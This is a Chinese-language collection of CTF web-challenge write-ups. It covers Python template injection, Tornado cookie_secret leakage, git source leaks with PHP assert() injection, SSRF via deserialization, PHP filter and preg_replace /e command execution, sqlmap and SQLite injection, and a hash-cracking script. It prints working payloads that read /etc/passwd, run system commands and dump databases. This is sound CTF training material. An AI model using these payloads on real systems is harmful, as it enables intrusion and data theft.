攻防世界-WEB相关writeup-2

Web_python_template_injection-python模板注入

python模板注入

看了一堆文章,也不是看的很明白,反而把题目做出来了

大概思路如下

简单探测

http://111.198.29.45:42611/{{7+7}}

返回

说明服务器执行了{{}}里面这一段代码

利用{{ config.items() }}可以查看服务器的配置信息

读取passwd信息

1

{{ [].__class__.__base__.__subclasses__()[40]('/etc/passwd').read() }}

执行成功

Python3代码

执行下面这一段代码

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

{% for b in c.__init__.__globals__.values() %} 

{% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数

{% if 'eval' in b.keys() %}    //找到了

{{ b['eval']('__import__("os").popen("ls").read()') }}  //导入cmd 执行popen里的命令 read读出数据

{% endif %}

{% endif %}

{% endfor %}

{% endif %}

{% endfor %}

列出文件

修改一下命令

ls 改成cat fl4g,就可以读取flag了

{% for c in [].__class__.__base__.__subclasses__() %}

{% if c.__name__ == 'catch_warnings' %}

  {% for b in c.__init__.__globals__.values() %}  

  {% if b.__class__ == {}.__class__ %}         //遍历基类 找到eval函数

    {% if 'eval' in b.keys() %}    //找到了

      {{ b['eval']('__import__("os").popen("cat fl4g").read()') }} 

    {% endif %}

  {% endif %}

  {% endfor %}

{% endif %}

{% endfor %}

Get flag成功

Flag: ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}

说起来参考了这几位师傅的文章,链接如下

https://blog.csdn.net/iamsongyu/article/details/85861811

https://www.cnblogs.com/wfzWebSecuity/p/9415641.html

https://xz.aliyun.com/t/2908

easytornado-python模板注入(ssti漏洞),tornado获取cookie_secret

这是一道2018年护网杯的题目

/flag.txt /welcome.txt /hints.txt

一共有3个文件。

/flag.txt flag in /fllllllllllllag /welcome.txt render /hints.txt md5(cookie_secret+md5(filename))

进入第一个文件flag.txt,发现好像提示文件名为/fllllllllllag

进入第二个文件welcome.txt,发现提示为render,render({options}) 去向模板中渲染数据, 可以把视图响应给客户端,猜测存在模板注入。

进入第三个文件hints.txt,发现提示md5(cookie_secret + md5(filename)),即先将filenamemd5加密,再将cookie_secret与md5加密后的filename进行md5加密,目前我们需要知道的是filenamecookie_secret,猜测文件名为/fllllllllllag,也就是说,只要知道cookie_secret就行了。

观察查看文件时使用的url:

http://111.198.29.45:56630/file?filename=/hints.txt&filehash=b10fbfd1f38e8dd058abe90e0df3db8d

猜测md5(cookie_secret + md5(filename))的结果就是访问文件时所需要的filehash

尝试访问/fllllllllllag,发现跳转到错误页面

easytornado_4

页面中存在msg,尝试:

easytornado_7

证实存在模板注入漏洞

1|2解题过程

查阅资料,发现 secure cookie 是Tornado 用于保护cookies安全的一种措施。

easytornado_1

cookie_secret保存在settings

easytornado_2

发现self.application.settings有一个别名

easytornado_3

handler指向的处理当前这个页面的RequestHandler对象, RequestHandler.settings指向self.application.settings, 因此handler.settings指向RequestHandler.application.settings


可以构造payload获取cookie_secret

payload:error?msg={{handler.settings}}

easytornado_6

获得cookie_secret,编写脚本,计算md5(cookie_secret + md5(filename))

import hashlib filename = '/fllllllllllllag' cookie_secret ="6fe556f1-9b77-481e-9535-c4e9f803b89d" def getvalue(string): md5 = hashlib.md5() md5.update(string.encode('utf-8')) return md5.hexdigest() def merge(): print(getvalue(cookie_secret + getvalue(filename))) merge()

得到flag:

easytornado_8

shrine-ssti,python模板攻击

SSTI模板注入:

模板注入涉及的是服务端Web应用使用模板引擎渲染用户请求的过程

服务端把用户输入的内容渲染成模板就可能造成SSTI(Server-Side Template Injection)

0|10x01模板引擎

模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig

模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了黑客的攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,攻击者依然有许多手段绕过它。

0|10x02 模板渲染

首先 模板渲染分解为前端渲染和后端渲染,还有浏览器渲染。

模板只是一种提供给程序来解析的一种语法,换句话说,模板是用于从数据(变量)到实际的视觉表现(HTML代码)这项工作的一种实现手段,而这种手段不论在前端还是后端都有应用。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将赛进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。

0|10x03 服务端模版注入

服务器执行了我们传过去的数据。每当服务器用模板引擎解析用户的输入时,这类问题都有可能发生。除了常规的输入外,攻击者还可以通过 LFI(文件包含)触发它。模板注入和 SQL 注入的产生原因有几分相似——都是将未过滤的数据传给引擎解析。

这里模板注入前加“服务端”,这是为了和 jQuery,KnockoutJS 产生的客户端模板注入区别开来。通常的来讲,前者甚至可以让攻击者执行任意代码,而后者只能 XSS。

0|10x04 模板引擎注入

一些模板引擎:Smarty,Mako,Jinja2,Jade,Velocity,Freemaker和Twig,模板注入是一种注入攻击,可以产生一些特别有趣的影响。对于AngularJS的情况,这可能意味着XSS,并且在服务器端注入的情况下可能意味着远程代码执行。重点来了,不同引擎有不同的测试以及注入方式!

flask/jinja2模板注入

PHP/模版引擎Twig注入

0|10x05 tplmap

利用tplmap这个工具进行检测是否有模板注入漏洞,用法有点像sqlmap,都是基于python的。

0|10x06 解题

模板渲染接受的参数需要用两个大括号括起来{{}}模板注入也在大括号里构造
题目源码:

import flask import os app = flask.Flask(__name__) app.config['FLAG'] = os.environ.pop('FLAG') @app.route('/') def index(): return open(__file__).read() @app.route('/shrine/<path:shrine>') def shrine(shrine): def safe_jinja(s): s = s.replace('(', '').replace(')', '') blacklist = ['config', 'self'] return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine)) if __name__ == '__main__': app.run(debug=True)

首先在shrine路径下测试ssti能正常执行

/shrine/{{ 2+2 }}

接着分析源码

app.config['FLAG'] = os.environ.pop('FLAG')

注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{{config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号

return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s

上面这行代码把黑名单的东西遍历并设为空,例如:

/shrine/{{config}}

不过python还有一些内置函数,比如url_for和get_flashed_messages

/shrine/{{url_for.__globals__}}

看到current_app意思应该是当前app,那我们就当前app下的config:

/shrine/{{url_for.__globals__['current_app'].config}}

get_flashed_messages

返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。

同理

/shrine/{{get_flashed_messages.__globals__['current_app'].config}}

0|10x07 防御SSTI

防御对于不同的模板引擎,防御方案也不相同。但做好对用户输入的清理/过滤,将能大大的降低此类问题带来的安全威胁。
另一个选择是创建一个安全加固/沙箱环境,禁用或删除潜在的危险指令。

为了防止此类漏洞,你应该像使用eval()函数一样处理字符串加载功能。尽可能加载静态模板文件。

注意:我们已经确定此功能类似于require()函数调用。因此,你也应该防止本地文件包含(LFI)漏洞。不要允许用户控制此类文件或其内容的路径。

另外,无论在何时,如果需要将动态数据传递给模板,不要直接在模板文件中执行,你可以使用模板引擎的内置功能来扩展表达式,实现同样的效果。
参考链接

https://www.jianshu.com/p/aef2ae0498df

https://blog.csdn.net/chasingin/article/details/104063617

mfw-git文件泄露,assert()构造

在这里插入图片描述

目标:
  • 学习git泄露有关知识:
    当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞
  • 会简单构造php的payload
  • 了解urlencode
Writeup

(1)我们在http://111.198.29.45:46634/?page=about页面看到如下图所示
在这里插入图片描述
(2)看到git,我们应该想到git文件泄露(Git信息泄露的危害很大,渗透测试人员、攻击者,可直接从源码获取敏感配置信息(如:邮箱,数据库),也可以进一步审计代码,挖掘文件上传、SQL注射等安全漏洞)
首先我们测试一下是否存在git泄露:
url访问:http://111.198.29.45:46634/.git/,出现泄露的文件,因此得出存在git文件泄露
在这里插入图片描述

  • 我们下载GitHack-master,使用GitHack.py进行扫描目标网站(注意:这个脚本只能使用python2运行,python3无法运行)
    GitHack是一个.git泄露利用测试脚本,通过泄露的文件,还原重建工程源代码
工作原理:
1、解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
2、去.git/objects/ 文件夹下下载对应的文件
3、zlib解压文件,按原始的目录结构写入源代码
优点:
速度快,默认20个工作线程
尽量还原所有的源代码,缺失的文件不影响脚本工作
脚本不需要执行额外的git命令,all you need is python
脚本无需浏览目录

在这里插入图片描述
(3)我们接下来在脚本那幅图的基础上,再次查看GitHack-master,进入我们跑过的目标网址目录,查看flag.php…好像没啥用…
在这里插入图片描述

  • 也可以url查看搜索到的文件:
    在这里插入图片描述

(4)我们再来看看主页index.php有什么内容

root@kali:~/GitHack-master/111.198.29.45_46634/templates# cd ..
root@kali:~/GitHack-master/111.198.29.45_46634# ls
index.php  templates
root@kali:~/GitHack-master/111.198.29.45_46634# cat index.php 
<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>

核心代码函数理解:

assert()
PHP 5

assert ( mixed $assertion [, string $description ] ) : bool

PHP 7

assert ( mixed $assertion [, Throwable $exception ] ) : bool

assertion 是 false 则返回 FALSE,否则是 TRUE。

  • strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    语法:strpos(string,find,start)
    参数 描述
    string 必需。规定要搜索的字符串。
    find 必需。规定要查找的字符串。
    start 可选。规定在何处开始搜索。

  • file_exists() 函数检查文件或目录是否存在
    如果指定的文件或目录存在则返回 true,否则返回 false。

(5)接下来我们构造payload即构造page
即:

page=1stPeak','abc') === false and system("cat templates/flag.php") and strops('1stPeak

构造过程:
第一步:观察核心源码

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

第二步:将$file先带进assert:

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('templates/" . $page . ".php', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

第三步:在第二步的基础上,对assert("strpos('templates/" . $page . ".php', '..') === false") or die("Detected hacking attempt!");中的page进行构造,使其可以执行flag.php

<?php

if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert(strpos('templates/1stPeak','abc') === false and system("cat templates/flag.php") and strops('1stPeak.php', '..') === false) or die("Detected hacking attempt!");
//assert(true and true and true) or die("Detected hacking attempt!");因此,不执行or die

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

注:上图中的cat templates/flag.php如果是cat /templates/flag.php会出现无法获取flag,因为/表示根目录,第一个表示在当前目录下(由上面脚本跑出的git泄露可以看出,index.php确实和templates在同一目录下),而第二个表示从当前目录下寻找templates,很抱歉,templates是不在根目录下的,人家是与index.php在同一目录(仅代表这道题不在根目录下)

url访问:获得flag
在这里插入图片描述
注:我们还可以使用bp进行传参,但是要将构造的语句进行urlencode,否则无法成功,如下图:

  • 未经过urlencode:
    在这里插入图片描述
  • 经过urlencode
    在这里插入图片描述
  • urlencode也有不同,但
1stpeak'%2c'abc')%20%3d%3d%3d%20false%20and%20system(%22cat%20templates%2fflag.php%22)%20and%20strops('1stpeak
  • 1

1stPeak%27%2c%27abc%27)+%3d%3d%3d+false+and+system(%22cat+templates%2fflag.php%22)+and+strops(%271stPeak
  • 1

是等价的

参考:
https://www.freebuf.com/sectool/66096.html
https://www.cnblogs.com/JKding233/p/10864033.html
https://blog.csdn.net/qq_41381461/article/details/90482374
https://blog.csdn.net/zz_Caleb/article/details/89318443

方法二:

1.打开题目后,点击About页面,发现网站使用Git、PHP、Bootstrap搭建而成,访问.git,发现存在源码泄露。

2.使用 GitHack ( https://github.com/lijiejie/GitHack )工具,我们可以得到网站的源码。

3.查看源码中的flag.php文件,其中并没有flag,审计index.php文件,关键代码如下


<?php

if (isset($_GET['page'])) {
    $page = $_GET['page'];
} else {
    $page = "home";
}

$file = "templates/" . $page . ".php";

// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");

// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");

?>

4.page没有经过任何过滤和处理,所以可以传递参s数闭合strpos函数

5.设置page为'.system("cat ./templates/flag.php").',查看源代码,可获得flag,如图所示

fakebook-SSRF漏洞构造file协议,curl利用

1.在注册后发现这个界面,猜测是不是存在注入点


http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and1

http://654000be-ea72-4eae-8074-c6cf2798c9e9.node3.buuoj.cn/view.php?no=1and0

2.order by得到长度为4(这里存在对空格的过滤)

3.爆库名

/view.php?no=-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+

4.继续查询中发现data存的是个序列化后的数据,猜测后台是通过反序列化data后输出前端结果

/view.php?no=-1++union++select++1,group_concat(data),3,4++from++users--+

5.查看robots.txt发现一个备份文件

  1 <?php
  2 class UserInfo
  3 {
  4     public $name = "";
  5     public $age = 0;
  6     public $blog = "";
  7 
  8     public function __construct($name, $age, $blog)
  9     {
 10         $this->name = $name;
 11         $this->age = (int)$age;
 12         $this->blog = $blog;
 13     }
 14 
 15     function get($url)
 16     {
 17         $ch = curl_init();
 18 
 19         curl_setopt($ch, CURLOPT_URL, $url);
 20         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 21         $output = curl_exec($ch);
 22         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 23         if($httpCode == 404) {
 24             return 404;
 25         }
 26         curl_close($ch);
 27 
 28         return $output;
 29     }
 30 
 31     public function getBlogContents ()
 32     {
 33         return $this->get($this->blog);
 34     }
 35 
 36     public function isValidBlog ()
 37     {
 38         $blog = $this->blog;
 39         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
 40     }
 41 
 42 }

看完源码的我面无表情,看了大佬的WP才知道这里是考SSRF漏洞

6.利用ssrf,的到flag

?no=0/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";i:1;s:3:"age";i:2;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

1|0解析:

再读一遍源码:

  1 <?php
  2 
  3 
  4 class UserInfo
  5 {
  6     public $name = "";
  7     public $age = 0;
  8     public $blog = "";
  9 
 10     public function __construct($name, $age, $blog)
 11     {
 12         $this->name = $name;
 13         $this->age = (int)$age;
 14         $this->blog = $blog;
 15     }
 16 
 17     function get($url)
 18     {
 19         $ch = curl_init();
 20         /*curl_init():初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
 21 
 22         curl_setopt($ch, CURLOPT_URL, $url);
 23         curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
 24         /*
 25             curl_setopt — 为给定的cURL会话句柄设置一个选项。
 26                 说明:
 27                     bool curl_setopt ( resource $ch , int $option , mixed $value )
 28                 参数:
 29                     ch:由 curl_init() 返回的 cURL 句柄。
 30                     option:需要设置的CURLOPT_XXX选项。
 31                     value:将设置在option选项上的值。
 32                     对于下面的这些option的可选参数,value应该被设置一个bool类型的值:
 33                         CURLOPT_RETURNTRANSFER:将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。
 34                     对于下面的这些option的可选参数,value应该被设置一个string类型的值:
 35                         CURLOPT_URL:需要获取的URL地址,也可以在curl_init()函数中设置。
 36 
 37 
 38                         ###################
 39                         文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
 40         */
 41         $output = curl_exec($ch);
 42         /*curl_exec :执行 cURL 会话*/
 43         $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
 44         /*
 45             curl_getinfo — 获取一个cURL连接资源句柄的信息
 46                 说明:
 47                        mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
 48                 参数:
 49                       ch 由 curl_init() 返回的 cURL 句柄。
 50                       opt:这个参数可能是以下常量之一:
 51                             CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
 52         */
 53 
 54         if($httpCode == 404) {
 55             return 404;
 56         }
 57         curl_close($ch);
 58 
 59         return $output;
 60     }
 61 
 62     public function getBlogContents ()
 63     {
 64         return $this->get($this->blog);
 65     }
 66 
 67     public function isValidBlog ()
 68     {
 69         $blog = $this->blog;
 70         return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
 71     }
 72 
 73 }
PS:
  • cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。cURL还包含了用于程序开发的libcurl。
  • PHP支持的由Daniel Stenberg创建的libcurl库允许你与各种的服务器使用各种类型的协议进行连接和通讯。
  • libcurl目前支持http、https、ftp、gopher、telnet、dict、file和ldap协议。libcurl同时也支持HTTPS认证、HTTP POST、HTTP PUT、 FTP 上传(这个也能通过PHP的FTP扩展完成)、HTTP 基于表单的上传、代理、cookies和用户名+密码的认证。
  • PHP中使用cURL实现Get和Post请求的方法
  • 这些函数在PHP 4.0.2中被引入。

所以这里的重点是 curl_setopt()和curl_exec()这两个函数,在注册界面直接输入file:///var/www/html/flag.php存在过滤,这时候可以利用SSRF来绕过过滤

Cat-宽字节-通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容

[原理]

  • php cURL CURLOPT_SAFE_UPLOAD

  • django DEBUG mode

  • Django使用的是gbk编码,超过%F7的编码不在gbk中有意义

  • CURLOPT_SAFE_UPLOAD 为 true 时,如果在请求前面加上@的话phpcurl组件是会把后面的当作绝对路径请求,来读取文件。当且仅当文件中存在中文字符的时候,Django 才会报错导致获取文件内容

[步骤]

刚看到题目的时候猜测是否是需要利用任意命令执行cat来读取文件的内容,后来才发现原来CAT是Cloud Automated Testing的缩写…
在这里插入图片描述
猜测1
测试输入127.0.0.1发现网站起到了检测目标站点网络是否连通(ping)的作用,我们都知道ping是一个php当中很危险的函数,可以利用|实现任意命令执行,测试payload:127.0.0.1|phpinfo();,得到返回为Invalid URL猜测我们的输入当中存在有非法字符导致命令无法执行,fuzz一下可使用的字符只剩下了数字,英文字母和.,这么一想构造任意命令执行似乎无法实现了。
猜测2
之前做过一道MOCTF的名叫网站检测器的题目,利用到的是url解析差异实现的ssrf,那道题目当中实现了利用十六进制编码和url二次编码对于dot的绕过,但在本题当中并不适用,我们并不清楚想要读取到的网页名称,并且测试过后ssrf也并不存在。
正解
查看官方的wp开始的时候并不是很理解为什么输入为%80(以及%80之后的url编码)就可以返回Django报错,查看url编码表后
在这里插入图片描述
可以看到%80后的字符结合报错信息UnicodeEncodeError可以推断是由于ascii编码不支持导致的报错,根据报错信息可以得到的信息
在这里插入图片描述
网站是使用Django进行开发的,结合PHP可以通过在参数中注入@来读取文件的漏洞,依次查看python的配置文件和数据库得到flag的内容
payload:?url=@/opt/api/api/settings.py,获取数据库名
在这里插入图片描述
payload:?url=@/opt/api/database.sqlite3,获取数据库内容
在这里插入图片描述

ics-04-SQL注入,使用sqlmap测试-sql注入、业务逻辑漏洞

一.进入实验

  1.根据实验的提示,工控云管理系统新添加的登录和注册页面存在漏洞,请找出flag。

  看到登录和注册就先试一试sql注入,手工试了半天没什么用,然后想用sqlmap看能不能注入:

python sqlmap.py -u "http://111.198.29.45:56964/login.php" --data "username=123&password=123" --dbs

  这里没有注入点,也猜到了出题人不可能这么容易让我们拿到flag,,,

  然后我发现这里有个忘记密码,那就点点看了:

  这里貌似有SQL注入,那就再用sqlmap跑一下。

python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" --dbs

python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 --tables   得到user表

python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 -T user --columns

python sqlmap.py -u "http://111.198.29.45:56964/findpwd.php" --data "username=1" -D cetc004 -T user -C "username,password" --dump

  得到一个我没有注册过的账号,猜测这个应该和flag有关,这个password应该是md5加密过的,试了没能解密成功,但这里不要紧,利用这里的

  同一个用户名可以重复注册的漏洞,去注册一个新的账号,然后登录获得flag。

ics-05-文件包含漏洞PHP伪协议中的 php://filter,preg_replace函数引发的命令执行漏洞

本文借鉴以下两篇文章的指导

https://www.jianshu.com/p/5a502873635b

https://blog.csdn.net/about23/article/details/95349625

全部点击一遍,只有这个可以有其他界面

题目描述是 “其他破坏者会利用工控云管理系统设备维护中心的后门入侵系统”

在后面添加login.php 无果,御剑扫描也无结果,源码也找不到其他东西

再次点击上面的“云平台设备维护中心”,URL栏有参数?page=index  存在get传值

page的参数联想到可能存在文件包含漏洞

引用上面的文章内容

LFI漏洞的黑盒判断方法:
单纯的从URL判断的话,URL中path、dir、file、pag、page、archive、p、eng、语言文件等相关关键字眼的时候,可能存在文件包含漏洞

输入数字没啥用,尝试读取index.php的源码,采用php伪协议

?page=php://filter/read=convert.base64-encode/resource=index.php

为什么中间要转base64编码,如果不转码,则相当于进行请求网页(继续打开网页)
输入payload得到一段base64

然后解码,分析源码

伪造XFF头来登入系统,同时利用preg_replace函数的漏洞

preg_replace( pattern , replacement , subject ) :

当pre_replace的参数pattern输入/e的时候 ,参数replacement的代码当作PHP代码执行
于是构造payload

/index.php?pat=/123/e&rep=system("find+-iname+flag")&sub=123

”+“号在url中会被解释成空格号,这里用%20也行

用burpsuite来设置XFF头

继续查看   %26被url解释成&号   用来连接命令

&& 前面命令为假直接报错,后面语句不执行(前面命令执行成功,后面的命令也执行)

index.php?pat=/123/e&rep=system("cd+./s3chahahaDir/flag%26%26ls")&sub=123

最后的payload

index.php?pat=/123/e&rep=system("cat+./s3chahahaDir/flag/flag.php")&sub=123

得flag

cyberpeace{a3f41e3943e9bd48b8084b29e4b27182}

lottery-php弱类型了

进来是个彩票网站,也给了源码,先试试,不行了再去看源码

注册不要密码

注册完会自动登录,并且设置余额为20,退出之后再次注册同名账号会重置数据,这里应该没什么问题

之后会自动跳转到买彩票的页面,要求输入7位数字,然后按彩票规则给钱

看了下Claim Your Prize页面,要在这买flag

抓包看了下,是后台校验

看来是需要找漏洞刷钱 or 改钱

可控输入就买彩票和注册用户处有,先试试买彩票

无论输入什么都会进行比较,后台进行,前端展示

再试试注册页面,因为注册页面应该使用了insert into语句,里面会有设置初始金额为20的语句

INSERT INTO listing (name, money) VALUES (%s,20)", $name;

但如果是这种语句的话,也没法注入啊,update是可以覆盖,但是没有update的功能点

再试试别的,顺手去看了下robots.txt

里面有.git,应该是git泄露,掏出闪闪发光的githack(py2

试了下git diff,然鹅什么都没有

看来是审计了

name 和 money 存在session里

看到buy买彩票功能点有个弱类型比较

我的第一反应是传入数组,但一直不可行,自己搭环境试了下,是自己记错了用法

改称传入布尔值(快乐刷钱)

有钱就可以去买flag了!

这道题相对做的比较细,我还测试了好多地方,没有往这写,可能后边需要改变一下做题思路,往核心点靠,当然这种顾及细微的思想在实战环境中是很好的。

emmmm,得总结一下php弱类型了

FlatScience-sql注入


难度系数: 1星
题目来源: Hack.lu-2017
题目描述:暂无
题目场景: 略
题目附件: 暂无

一、分析

点击打开场景,发现都是文件下载的内容,是几篇英文文献
上一题有用到的robots.txt,构造一下http://IP:端口/robots.txt
果然有重要内容:
在这里插入图片描述

二、实操

分别进入像个网站,发现有一个是默认是admin账号,尝试使用admin账号进行登录,但是并没有什么反馈
然后尝试使用admin账号在login页面进行登录
测试了很多数据发现输入admin’时会出现报错
在这里插入图片描述
根据报错SQLLite3找到对应的查询数据库的代码
代码:


    CppSQLite3Queryquery = db.execQuery("select * fromtarget_table");
        while(!query.eof())
        {
            cout<<"name:"<<query.getStringField("name")<<"age : "<<query.getIntField("age")<<endl;
            query.nextRow();
        }
        query.finalize();

CppSQLite3Query是一个查询返回对象,查询完后可以利用此类。这里就使用CppSQLite3DB的一个函数

execQuery,只要将查询sql传入即可。

eof函数:判断是否还有数据;

nextRow函数:移到下一条记录;

getStringField函数:获得相应字段的内容,以字符串形式返回;

getIntField函数:获得相应字段的内容,以整形形式返回。
通过分析此处应该存在SQL注入

注意我们在进行漏洞查找的过程中应该要结合浏览器的开发工具一起进行,发现网址泄露了某些参数或者网址,根据GET请求,我们能够迅速判断是参数
在这里插入图片描述
构造?debug参数出现源码泄露

找到关键代码SQL语句:

"SELECT id,name from Users where name='".$user."' and password='".sha1($pass."Salz!")."'"
  • 1

通过SQL语句注入构建我们设计出如下查询的SQL语句:

' union select  name,sql  from sqlite_master--
  • 1

然后查询到返回包里面有Set-Cookie字段
在这里插入图片描述
+CREATE+TABLE+Users(id+int+primary+key,name+varchar(255),password+varchar(255),hint+varchar(255))

构造查询密码的SQL:usr=%27 UNION SELECT id, password from Users–+&pw=chybeta
构造查询用户的SQL:usr=%27 UNION SELECT id, name from Users --+&pw=chybeta
构造查询隐藏线索的SQL:usr=%27 UNION SELECT id, hint from Users–+&pw=chybeta
最终的输出数据分别是:
在这里插入图片描述
name=+admin
在这里插入图片描述
name=+3fab54a50e770d830c0416df817567662a9dc85c
在这里插入图片描述
name=+my+fav+word+in+my+fav+paper%3F%21
我们根据这句话洞察到,最终你的密码还是不在我们的网站中,说我最喜欢的词(密码)在我最喜欢的文章中
好吧,还得找到作者最喜欢的文章,但是我们之前查到有密码,所以有可能这个就是作者最喜欢的文章的哈希值
SQL基础知识积累:
UNION :合并两个或者两个以上的SQL语句(默认地,UNION 操作符选取不同的值)
UNION ALL:合并操作符相同的几个SQL语句
#:url中#号是用来指导浏览器动作的(例如锚点),对服务器端完全无用。所以,HTTP请求中不包括#使用时#号改成url的编码%23就可以了
–:注释(注意后面需要接入一个空格才能正常执行)

这里工作量已经很多了,但是还是得编写脚本,好吧坚持不下去了,找到了一个大佬的脚本,这里直接贴上来:
from cStringIO import StringIO
from pdfminer.pdfinterp import PDFResourceManager, PDFPageInterpreter
from pdfminer.converter import TextConverter
from pdfminer.layout import LAParams
from pdfminer.pdfpage import PDFPage
import sys
import string
import os
import hashlib
 
def get_pdf():
	return [i for i in os.listdir("./") if i.endswith("pdf")]
 
 
def convert_pdf_2_text(path):
    rsrcmgr = PDFResourceManager()
    retstr = StringIO()
    device = TextConverter(rsrcmgr, retstr, codec='utf-8', laparams=LAParams())
    interpreter = PDFPageInterpreter(rsrcmgr, device)
    with open(path, 'rb') as fp:
        for page in PDFPage.get_pages(fp, set()):
            interpreter.process_page(page)
        text = retstr.getvalue()
    device.close()
    retstr.close()
    return text
 
 
def find_password():
	pdf_path = get_pdf()
	for i in pdf_path:
		print "Searching word in " + i
		pdf_text = convert_pdf_2_text(i).split(" ")
		for word in pdf_text:
			sha1_password = hashlib.sha1(word+"Salz!").hexdigest()
			if sha1_password == '3fab54a50e770d830c0416df817567662a9dc85c':
				print "Find the password :" + word
				exit()
 
if __name__ == "__main__":
	find_password()

最终得到的密码是:
ThinJerboa
登录到admin.php上拿到Flag

三、答案

